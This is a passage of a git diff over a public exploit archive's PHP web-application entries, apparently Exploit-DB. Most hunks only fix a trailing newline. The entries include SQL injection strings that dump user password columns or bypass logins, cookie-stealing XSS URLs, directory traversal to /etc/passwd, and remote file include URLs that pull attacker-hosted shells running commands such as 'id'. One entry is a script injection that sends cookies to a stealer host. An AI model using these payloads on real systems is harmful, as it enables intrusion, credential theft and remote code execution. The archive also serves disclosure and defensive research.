prior versions are prone to these vulnerabilities. The following string is sufficient to bypass the eval() call: -{${phpinfo();}} \ No newline at end of file +{${phpinfo();}} \ No newline at end of file diff --git a/platforms/php/webapps/26104.html b/platforms/php/webapps/26104.html index ec389e291..5c6a77ce0 100755 --- a/platforms/php/webapps/26104.html +++ b/platforms/php/webapps/26104.html @@ -10,4 +10,4 @@ This issue is reported to affect Invision Power Board 1.0.3; other 1.x versions <body> <script>alert('Css found By V[i]RuS');</script> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/26105.html b/platforms/php/webapps/26105.html index 3ed4c5a25..9a8ff6d1f 100755 --- a/platforms/php/webapps/26105.html +++ b/platforms/php/webapps/26105.html @@ -8,4 +8,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th <body> <script>alert('VULN');</script> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/26106.txt b/platforms/php/webapps/26106.txt index ee502a83f..9f3916fc5 100755 --- a/platforms/php/webapps/26106.txt +++ b/platforms/php/webapps/26106.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following demonstrates login credentials sufficient to exploit this vulnerability: login: ' or isnull(1/0) /* -password: whatever \ No newline at end of file +password: whatever \ No newline at end of file diff --git a/platforms/php/webapps/26110.txt b/platforms/php/webapps/26110.txt index 5fc8bab04..fe3ef9a6d 100755 --- a/platforms/php/webapps/26110.txt +++ b/platforms/php/webapps/26110.txt @@ -4,4 +4,4 @@ Gravity Board X (GBX) is prone to a cross-site scripting vulnerability. This iss An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/deletethread.php?board_id="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/deletethread.php?board_id="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26112.txt b/platforms/php/webapps/26112.txt index bb0096317..e9351638e 100755 --- a/platforms/php/webapps/26112.txt +++ b/platforms/php/webapps/26112.txt @@ -4,4 +4,4 @@ Calendar Express is prone to multiple SQL-injection vulnerabilities because the A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/calendarexpress/login.php?cid=' \ No newline at end of file +http://www.example.com/calendarexpress/login.php?cid=' \ No newline at end of file diff --git a/platforms/php/webapps/26113.txt b/platforms/php/webapps/26113.txt index c7fd7289a..9d3b81dc2 100755 --- a/platforms/php/webapps/26113.txt +++ b/platforms/php/webapps/26113.txt @@ -4,4 +4,4 @@ Calendar Express is prone to multiple SQL-injection vulnerabilities because the A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/calendarexpress/auth.php?cid=' \ No newline at end of file +http://www.example.com/calendarexpress/auth.php?cid=' \ No newline at end of file diff --git a/platforms/php/webapps/26114.txt b/platforms/php/webapps/26114.txt index b32564cae..1e8266b30 100755 --- a/platforms/php/webapps/26114.txt +++ b/platforms/php/webapps/26114.txt @@ -4,4 +4,4 @@ Calendar Express is prone to multiple SQL-injection vulnerabilities because the A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/calendarexpress/subscribe.php?cid=' \ No newline at end of file +http://www.example.com/calendarexpress/subscribe.php?cid=' \ No newline at end of file diff --git a/platforms/php/webapps/26115.txt b/platforms/php/webapps/26115.txt index fab657e7b..c37c41a73 100755 --- a/platforms/php/webapps/26115.txt +++ b/platforms/php/webapps/26115.txt @@ -4,4 +4,4 @@ Calendar Express is prone to a cross-site scripting vulnerability. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/calendarexpress/search.php?allwords=<br><script>alert(document.cookie);</script>&cid=0&title=1&desc=1 \ No newline at end of file +http://www.example.com/calendarexpress/search.php?allwords=<br><script>alert(document.cookie);</script>&cid=0&title=1&desc=1 \ No newline at end of file diff --git a/platforms/php/webapps/26116.txt b/platforms/php/webapps/26116.txt index 780dffda6..ca331e123 100755 --- a/platforms/php/webapps/26116.txt +++ b/platforms/php/webapps/26116.txt @@ -4,4 +4,4 @@ Chipmunk CMS is prone to a cross-site scripting vulnerability. This issue is due An attacker can exploit this vulnerability to inject html and script code into the Web browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. -http://www.example.com/[path]/?fontcolor='><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/[path]/?fontcolor='><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26122.txt b/platforms/php/webapps/26122.txt index 98ec755cf..89d5e9741 100755 --- a/platforms/php/webapps/26122.txt +++ b/platforms/php/webapps/26122.txt @@ -13,4 +13,4 @@ http://www.example.com/funkboard/register.php?location="><script>alert(document. http://www.example.com/funkboard/register.php?sex="><script>alert(document.cookie)</script> http://www.example.com/funkboard/register.php?interebbies="><script>alert(document.cookie)</script> http://www.example.com/funkboard/register.php?sig=&lt;/textarea&gt;<script>alert(document.cookie)</script> -http://www.example.com/funkboard/register.php?aim="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/funkboard/register.php?aim="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26127.txt b/platforms/php/webapps/26127.txt index b113c4702..f34c5d3eb 100755 --- a/platforms/php/webapps/26127.txt +++ b/platforms/php/webapps/26127.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/news/index.php?action=com&id='SQL_HERE http://www.example.com/cw/index.php?action=details&id='SQL_HERE http://www.example.com/gb/index.php?von='SQL_HERE -http://www.example.com/umfragen/index.php?action=vote&insert='SQL_HERE \ No newline at end of file +http://www.example.com/umfragen/index.php?action=vote&insert='SQL_HERE \ No newline at end of file diff --git a/platforms/php/webapps/2614.txt b/platforms/php/webapps/2614.txt index e42db4a5e..6ac2cbd9e 100755 --- a/platforms/php/webapps/2614.txt +++ b/platforms/php/webapps/2614.txt @@ -36,7 +36,7 @@ # # # ExPloit : -# http://www.server/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=http://sonic-banda-di-lamer.gay/shell.php? +# http://www.site.com/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=http://sonic-banda-di-lamer.gay/shell.php? # # # diff --git a/platforms/php/webapps/26141.txt b/platforms/php/webapps/26141.txt index 1c4845d36..12bdc6279 100755 --- a/platforms/php/webapps/26141.txt +++ b/platforms/php/webapps/26141.txt @@ -4,4 +4,4 @@ ezUpload is affected by multiple remote file include vulnerabilities. These issu An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?& \ No newline at end of file +http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?& \ No newline at end of file diff --git a/platforms/php/webapps/26144.txt b/platforms/php/webapps/26144.txt index 95de9ead6..f35761858 100755 --- a/platforms/php/webapps/26144.txt +++ b/platforms/php/webapps/26144.txt @@ -5,4 +5,4 @@ PHPTB is prone to multiple SQL injection vulnerabilities. These issues are due t The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database. http://www.example.com/PHPTB/index.php?sid=cc3de2fc8c2b357b6a6d46ea8aa92a32&act=profile&mid=-99%20UNION%20SELECT%20null,password,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20tb_members%20WHERE%20user_id=1 -http://www.example.com/PHPTB/index.php?sid=a284c075e8b0073935ba7290ca0dade8&act=newpm&mid=-99%20UNION%20SELECT%20password%20FROM%20tb_members%20WHERE%20user_id=1 \ No newline at end of file +http://www.example.com/PHPTB/index.php?sid=a284c075e8b0073935ba7290ca0dade8&act=newpm&mid=-99%20UNION%20SELECT%20password%20FROM%20tb_members%20WHERE%20user_id=1 \ No newline at end of file diff --git a/platforms/php/webapps/26146.txt b/platforms/php/webapps/26146.txt index 6b9eda6ab..159169998 100755 --- a/platforms/php/webapps/26146.txt +++ b/platforms/php/webapps/26146.txt @@ -4,4 +4,4 @@ VegaDNS is vulnerable to cross-site scripting attacks. This issue is due to a fa An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?VDNS_Sessid=[sessid]&message=[some error msg]<iframe src="http://www.example.com"> \ No newline at end of file +http://www.example.com/index.php?VDNS_Sessid=[sessid]&message=[some error msg]<iframe src="http://www.example.com"> \ No newline at end of file diff --git a/platforms/php/webapps/26147.txt b/platforms/php/webapps/26147.txt index f33569870..d52eee5cd 100755 --- a/platforms/php/webapps/26147.txt +++ b/platforms/php/webapps/26147.txt @@ -8,4 +8,4 @@ Reports indicate an attacker can exploit at least one of these vulnerabilities t The following proof of concept demonstrates the vulnerability in admin/index.php: Username: ' or 1=1 /* -Password: blank \ No newline at end of file +Password: blank \ No newline at end of file diff --git a/platforms/php/webapps/26155.txt b/platforms/php/webapps/26155.txt index 529cb68e2..45db1a1e0 100755 --- a/platforms/php/webapps/26155.txt +++ b/platforms/php/webapps/26155.txt @@ -7,4 +7,4 @@ The consequences of this attack may vary depending on the type of queries that c http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3 6d90d8e9&key=1&comp=1&min='&max=1 http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3 -6d90d8e9&key=1&comp=1&min=1&max=' \ No newline at end of file +6d90d8e9&key=1&comp=1&min=1&max=' \ No newline at end of file diff --git a/platforms/php/webapps/26157.txt b/platforms/php/webapps/26157.txt index bbdb3117e..825746cec 100755 --- a/platforms/php/webapps/26157.txt +++ b/platforms/php/webapps/26157.txt @@ -4,4 +4,4 @@ ECW Shop is prone to a cross-site scripting vulnerability. This issue is due to This type of exploitation could allow for theft of cookie-based authentication credentials; other attacks are also possible. -http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c36d90d8e9&key=1&comp=1&min=1&max=><script>var%20xss=31337;alert(xss);</script \ No newline at end of file +http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c36d90d8e9&key=1&comp=1&min=1&max=><script>var%20xss=31337;alert(xss);</script \ No newline at end of file diff --git a/platforms/php/webapps/26158.txt b/platforms/php/webapps/26158.txt index 783d27eae..9272ddf36 100755 --- a/platforms/php/webapps/26158.txt +++ b/platforms/php/webapps/26158.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3 6d90d8e9&key=1&comp=1&min=1&max=><H1>DEFACED!</H1> http://www.example.com/index.php?id=754ce025144839c2abe369c36d90d8e9&c=srch&i -x=1 \ No newline at end of file +x=1 \ No newline at end of file diff --git a/platforms/php/webapps/26159.txt b/platforms/php/webapps/26159.txt index fe003ad37..7e8566778 100755 --- a/platforms/php/webapps/26159.txt +++ b/platforms/php/webapps/26159.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0 http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=' http://www.example.com/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0 -http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27 \ No newline at end of file +http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27 \ No newline at end of file diff --git a/platforms/php/webapps/26161.txt b/platforms/php/webapps/26161.txt index 91465960b..ee0f561c7 100755 --- a/platforms/php/webapps/26161.txt +++ b/platforms/php/webapps/26161.txt @@ -7,4 +7,4 @@ An attacker may leverage any of these issues to have arbitrary script code execu http://www.example.com/phpfn/SearchResults.php?Match='><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0 http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='><script>alert(XSS);</script> http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode="><script>alert(XSS);</script>&SearchNews=Search&CatID=0 -http://www.example.com/phpfn/SearchResults.php?Match="><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0 \ No newline at end of file +http://www.example.com/phpfn/SearchResults.php?Match="><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0 \ No newline at end of file diff --git a/platforms/php/webapps/26166.txt b/platforms/php/webapps/26166.txt index f8145b95d..01a4a2d46 100755 --- a/platforms/php/webapps/26166.txt +++ b/platforms/php/webapps/26166.txt @@ -4,4 +4,4 @@ PHPTB is prone to multiple remote file include vulnerabilities. These issues are An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/classes/tech_o.php?absolutepath=http://www.example.com/ \ No newline at end of file +http://www.example.com/classes/tech_o.php?absolutepath=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/26169.txt b/platforms/php/webapps/26169.txt index dcf93eb1f..f9d9ac4a4 100755 --- a/platforms/php/webapps/26169.txt +++ b/platforms/php/webapps/26169.txt @@ -8,4 +8,4 @@ http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%0 http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00 http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd http://www.example.com/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini -http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini \ No newline at end of file +http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini \ No newline at end of file diff --git a/platforms/php/webapps/26170.txt b/platforms/php/webapps/26170.txt index 75b8efb2f..495ba7c83 100755 --- a/platforms/php/webapps/26170.txt +++ b/platforms/php/webapps/26170.txt @@ -4,4 +4,4 @@ ATutor is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/tour/login.php?course="><script>alert('XSS');</script> \ No newline at end of file +http://www.example.com/tour/login.php?course="><script>alert('XSS');</script> \ No newline at end of file diff --git a/platforms/php/webapps/26172.txt b/platforms/php/webapps/26172.txt index 2f2e1c7a8..58ff0bc07 100755 --- a/platforms/php/webapps/26172.txt +++ b/platforms/php/webapps/26172.txt @@ -17,4 +17,4 @@ B.- Database scanner via variable poisoning http://www.example.com/core/database_api.php?g_db_type=mysql://invaliduser@localhost:3336 http://www.example.com/core/database_api.php?g_db_type=mysql://root@localhost:3336 http://www.example.com/core/database_api.php?g_db_type=informix://localhost:8080 -http://www.example.com/core/database_api.php?g_db_type=mysql://root@10.x.y.z \ No newline at end of file +http://www.example.com/core/database_api.php?g_db_type=mysql://root@10.x.y.z \ No newline at end of file diff --git a/platforms/php/webapps/26176.txt b/platforms/php/webapps/26176.txt index e4e5a16d4..5640f7f8d 100755 --- a/platforms/php/webapps/26176.txt +++ b/platforms/php/webapps/26176.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos It should be noted an attacker must have moderator credentials to access the vulnerable script. http://www.example.com/modcp.php?action=post_del&x='SQL_CODE_HERE -http://www.example.com/modcp.php?action=post_del&x=6&y='SQL_CODE_HERE \ No newline at end of file +http://www.example.com/modcp.php?action=post_del&x=6&y='SQL_CODE_HERE \ No newline at end of file diff --git a/platforms/php/webapps/26177.txt b/platforms/php/webapps/26177.txt index 7eb939e7e..c9bbbd36d 100755 --- a/platforms/php/webapps/26177.txt +++ b/platforms/php/webapps/26177.txt @@ -4,4 +4,4 @@ Land Down Under is prone to multiple SQL-injection vulnerabilities because the a Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/ldu/links.php?c=links&s=title&w=' \ No newline at end of file +http://www.example.com/ldu/links.php?c=links&s=title&w=' \ No newline at end of file diff --git a/platforms/php/webapps/26178.txt b/platforms/php/webapps/26178.txt index e4d78268d..cca589e40 100755 --- a/platforms/php/webapps/26178.txt +++ b/platforms/php/webapps/26178.txt @@ -6,4 +6,4 @@ Successful exploitation may allow the attacker to compromise the application, re http://www.example.com/ldu/journal.php?m='&s=username&w=asc http://www.example.com/ldu/journal.php?m='&p=1 -http://www.example.com/ldu/journal.php?m=' \ No newline at end of file +http://www.example.com/ldu/journal.php?m=' \ No newline at end of file diff --git a/platforms/php/webapps/26179.txt b/platforms/php/webapps/26179.txt index deae52ff2..8d47b0394 100755 --- a/platforms/php/webapps/26179.txt +++ b/platforms/php/webapps/26179.txt @@ -6,4 +6,4 @@ Successful exploitation may allow the attacker to compromise the application, re http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o='&p=1 http://www.example.com/ldu/list.php?c=articles&s=title&w='&o=1&p=1 -http://www.example.com/ldu/list.php?c=articles&s='&w=asc&o=1&p=1 \ No newline at end of file +http://www.example.com/ldu/list.php?c=articles&s='&w=asc&o=1&p=1 \ No newline at end of file diff --git a/platforms/php/webapps/26180.txt b/platforms/php/webapps/26180.txt index b881d1fe2..f00984029 100755 --- a/platforms/php/webapps/26180.txt +++ b/platforms/php/webapps/26180.txt @@ -7,4 +7,4 @@ Successful exploitation may allow the attacker to compromise the application, re http://www.example.com/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x=' http://www.example.com/ldu/forums.php?m=topics&q=3&n=' http://www.example.com/ldu/forums.php?m='&q=3&n=last -http://www.example.com/ldu/forums.php?m=topics&s=' \ No newline at end of file +http://www.example.com/ldu/forums.php?m=topics&s=' \ No newline at end of file diff --git a/platforms/php/webapps/26181.txt b/platforms/php/webapps/26181.txt index dd0c2d17b..0113afd31 100755 --- a/platforms/php/webapps/26181.txt +++ b/platforms/php/webapps/26181.txt @@ -4,4 +4,4 @@ Land Down Under is prone to multiple cross-site scripting vulnerabilities. These An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/ldu/journal.php?m=home&s=username&w='><script>alert('test');</script> \ No newline at end of file +http://www.example.com/ldu/journal.php?m=home&s=username&w='><script>alert('test');</script> \ No newline at end of file diff --git a/platforms/php/webapps/26183.txt b/platforms/php/webapps/26183.txt index fd9cea342..1b5039e0d 100755 --- a/platforms/php/webapps/26183.txt +++ b/platforms/php/webapps/26183.txt @@ -6,4 +6,4 @@ This vulnerability will allow a malicious user to perform attacks on an unsuspec This can lead to the theft of cookie-based authentication credentials, as well as other attacks. -http://www.example.com/nephp/browse.php?mod=find&keywords='%3E%3Cscript%3Ealert('test');%3C/script%3E \ No newline at end of file +http://www.example.com/nephp/browse.php?mod=find&keywords='%3E%3Cscript%3Ealert('test');%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26184.txt b/platforms/php/webapps/26184.txt index cd4b92438..d1ff2f794 100755 --- a/platforms/php/webapps/26184.txt +++ b/platforms/php/webapps/26184.txt @@ -4,4 +4,4 @@ PHPKit is prone to multiple SQL injection vulnerabilities. These issues are due Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/phpkit/include.php?path=login/member.php&letter=phuket'%20AND%20MID(user_pw,1,1)='8'/* \ No newline at end of file +http://www.example.com/phpkit/include.php?path=login/member.php&letter=phuket'%20AND%20MID(user_pw,1,1)='8'/* \ No newline at end of file diff --git a/platforms/php/webapps/26186.txt b/platforms/php/webapps/26186.txt index 19ebd4cee..4c783b7e3 100755 --- a/platforms/php/webapps/26186.txt +++ b/platforms/php/webapps/26186.txt @@ -8,4 +8,4 @@ http://www.example.com/runcms/modules/newbb_plus/newtopic.php?forum=-99%20UNION% http://www.example.com/runcms/modules/newbb_plus/edit.php?forum=-99%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20runcms_users%20WHERE%201/*&post_id=2'&topic_id=2&viewmode=flat&order=0 http://www.example.com/runcms/modules/newbb_plus/reply.php?forum=-99%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,pass,1,1%20FROM%20runcms_users%20WHERE%201/*&post_id=2&topic_id=2&viewmode=flat&order=0 http://www.example.com/runcms/modules/messages/print.php?msg_id=-99%20UNION%20SELECT%201,uname,1,1,1,pass%20FROM%20runcms_users%20WHERE%201/*&op=print_pn -http://www.example.com/runcms/modules/messages/print.php?msg_id=-99%20UNION%20SELECT%201,uname,1,1,1,pass%20FROM%20runcms_users%20WHERE%201/*&op=print_sent_pn \ No newline at end of file +http://www.example.com/runcms/modules/messages/print.php?msg_id=-99%20UNION%20SELECT%201,uname,1,1,1,pass%20FROM%20runcms_users%20WHERE%201/*&op=print_sent_pn \ No newline at end of file diff --git a/platforms/php/webapps/26188.txt b/platforms/php/webapps/26188.txt index 4e1a8549d..02f3e3425 100755 --- a/platforms/php/webapps/26188.txt +++ b/platforms/php/webapps/26188.txt @@ -4,4 +4,4 @@ PostNuke is prone to multiple cross-site scripting vulnerabilities. These issues This can lead to theft of cookie-based authentication credentials, as well as other types of attacks. -http://www.example.com/PostNuke-0.760-RC4b/html/user.php?op=edituser&htmltext=<h1>xss \ No newline at end of file +http://www.example.com/PostNuke-0.760-RC4b/html/user.php?op=edituser&htmltext=<h1>xss \ No newline at end of file diff --git a/platforms/php/webapps/26189.txt b/platforms/php/webapps/26189.txt index 8ba90c34a..a3695a883 100755 --- a/platforms/php/webapps/26189.txt +++ b/platforms/php/webapps/26189.txt @@ -4,4 +4,4 @@ PostNuke is prone to an SQL injection vulnerability. This issue is due to a lack Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/[DIR]/index.php?name=Downloads&req=viewdownload&cid=1&show=[SQL%20INJECTION] \ No newline at end of file +http://www.example.com/[DIR]/index.php?name=Downloads&req=viewdownload&cid=1&show=[SQL%20INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/26190.txt b/platforms/php/webapps/26190.txt index ca747b605..be1ce31df 100755 --- a/platforms/php/webapps/26190.txt +++ b/platforms/php/webapps/26190.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code a user can bypass admin check, calling this url: -http://www.example.com/saveweb/admin/PhpMyExplorer/editerfichier.php?chemin=.&fichier=header.php&type=Source \ No newline at end of file +http://www.example.com/saveweb/admin/PhpMyExplorer/editerfichier.php?chemin=.&fichier=header.php&type=Source \ No newline at end of file diff --git a/platforms/php/webapps/26191.txt b/platforms/php/webapps/26191.txt index ceafed378..29da01dc7 100755 --- a/platforms/php/webapps/26191.txt +++ b/platforms/php/webapps/26191.txt @@ -5,4 +5,4 @@ SaveWebPortal is prone to multiple remote file include vulnerabilities. These is An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. http://www.example.com/menu_dx.php?SITE_Path=http://www.example.com/[remote code]%00 -http://www.example.com/menu_sx.php?CONTENTS_Dir=http://www.example.com/[remote code]%00 \ No newline at end of file +http://www.example.com/menu_sx.php?CONTENTS_Dir=http://www.example.com/[remote code]%00 \ No newline at end of file diff --git a/platforms/php/webapps/26192.txt b/platforms/php/webapps/26192.txt index ba609591f..4f2a4c228 100755 --- a/platforms/php/webapps/26192.txt +++ b/platforms/php/webapps/26192.txt @@ -62,4 +62,4 @@ http://www.example.com/saveweb/menu_sx.php?L_MENUSX_PasswordForgot="><script>ale http://www.example.com/saveweb/menu_sx.php?L_MENUSX_Logout="><script>alert(document.cookie)</script> http://www.example.com/saveweb/menu_sx.php?L_MENUSX_Contacts="><script>alert(document.cookie)</script> http://www.example.com/saveweb/menu_sx.php?L_MENUSX_Guestbook="><script>alert(document.cookie)</script> -http://www.example.com/saveweb/menu_sx.php?L_MENUSX_ContactUs="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/saveweb/menu_sx.php?L_MENUSX_ContactUs="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26193.txt b/platforms/php/webapps/26193.txt index e611de7b6..a5e5d2d2d 100755 --- a/platforms/php/webapps/26193.txt +++ b/platforms/php/webapps/26193.txt @@ -10,4 +10,4 @@ http://www.example.com/saveweb/menu_dx.php?SITE_Path=../../../../../boot.ini%00 http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../boot.ini%00 http://www.example.com/saveweb/menu_dx.php?SITE_Path=../../../../../[script].php%00 -http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../[script].php%00 \ No newline at end of file +http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../[script].php%00 \ No newline at end of file diff --git a/platforms/php/webapps/26199.txt b/platforms/php/webapps/26199.txt index 889b3ac7b..889132c01 100755 --- a/platforms/php/webapps/26199.txt +++ b/platforms/php/webapps/26199.txt @@ -4,4 +4,4 @@ phpMyAdmin is prone to a cross-site scripting vulnerability. This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the software. Such an attack would require that the victim follows a malicious link that includes hostile HTML and script code. -/error.php?error=%3Cscript%3Ewindow.alert('a')%3C/script%3E \ No newline at end of file +/error.php?error=%3Cscript%3Ewindow.alert('a')%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26200.txt b/platforms/php/webapps/26200.txt index b19c36266..c3c817a96 100755 --- a/platforms/php/webapps/26200.txt +++ b/platforms/php/webapps/26200.txt @@ -6,4 +6,4 @@ This may allow for various attacks including session hijacking due to the theft SqWebMail 5.0.4 is reportedly vulnerable to this issue. It is possible that other versions are affected as well. -<img src="cid:>" onError="alert(document.domain);"> \ No newline at end of file +<img src="cid:>" onError="alert(document.domain);"> \ No newline at end of file diff --git a/platforms/php/webapps/26201.txt b/platforms/php/webapps/26201.txt index 2483965a5..56017784a 100755 --- a/platforms/php/webapps/26201.txt +++ b/platforms/php/webapps/26201.txt @@ -6,4 +6,4 @@ hpWebNotes is susceptible to a remote file include vulnerability. This issue is An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id \ No newline at end of file +http://www.example.com/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/26202.txt b/platforms/php/webapps/26202.txt index f7101858f..b7ed47831 100755 --- a/platforms/php/webapps/26202.txt +++ b/platforms/php/webapps/26202.txt @@ -10,4 +10,4 @@ http://www.example.com/[path]/footer.php?version[no]=<script>alert('lol')</scrip http://www.example.com/[path]/header.php?version[fullname]=<script>alert('lol')</script> http://www.example.com/[path]/header.php?version[no]=</title><script>alert('lol')</script> http://www.example.com/[path]/header.php?version[author]=--><script>alert('lol')</script> -http://www.example.com/[path]/header.php?version[email]=--><script>alert('lol')</script> \ No newline at end of file +http://www.example.com/[path]/header.php?version[email]=--><script>alert('lol')</script> \ No newline at end of file diff --git a/platforms/php/webapps/26207.txt b/platforms/php/webapps/26207.txt index 8db45b16f..5b3964a07 100755 --- a/platforms/php/webapps/26207.txt +++ b/platforms/php/webapps/26207.txt @@ -5,4 +5,4 @@ Land Down Under is prone to multiple SQL injection vulnerabilities. These issues Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/ldu/list.php?c='&s=title&w=asc&o=1&p=1 -http://www.example.com/ldu/list.php?c=%27&s=title&w=asc&o=1&p=1 \ No newline at end of file +http://www.example.com/ldu/list.php?c=%27&s=title&w=asc&o=1&p=1 \ No newline at end of file diff --git a/platforms/php/webapps/26209.txt b/platforms/php/webapps/26209.txt index 84753f4bc..8c452cd75 100755 --- a/platforms/php/webapps/26209.txt +++ b/platforms/php/webapps/26209.txt @@ -5,4 +5,4 @@ PHP-Fusion is prone to a script injection vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. [URL=http://aaaaaa.com/UR[url=aa.com&&OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; -location="http://google.com]][/URL][/url] \ No newline at end of file +location="http://google.com]][/URL][/url] \ No newline at end of file diff --git a/platforms/php/webapps/26212.txt b/platforms/php/webapps/26212.txt index 7cea3b75d..e4172fd72 100755 --- a/platforms/php/webapps/26212.txt +++ b/platforms/php/webapps/26212.txt @@ -6,4 +6,4 @@ An unauthorized user can retrieve arbitrary files by supplying directory travers Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. -http://www.example.com/index.php?mod=read&id=../forum/users/[user].php%00 \ No newline at end of file +http://www.example.com/index.php?mod=read&id=../forum/users/[user].php%00 \ No newline at end of file diff --git a/platforms/php/webapps/26213.txt b/platforms/php/webapps/26213.txt index dcdf3a2d5..09b42b40e 100755 --- a/platforms/php/webapps/26213.txt +++ 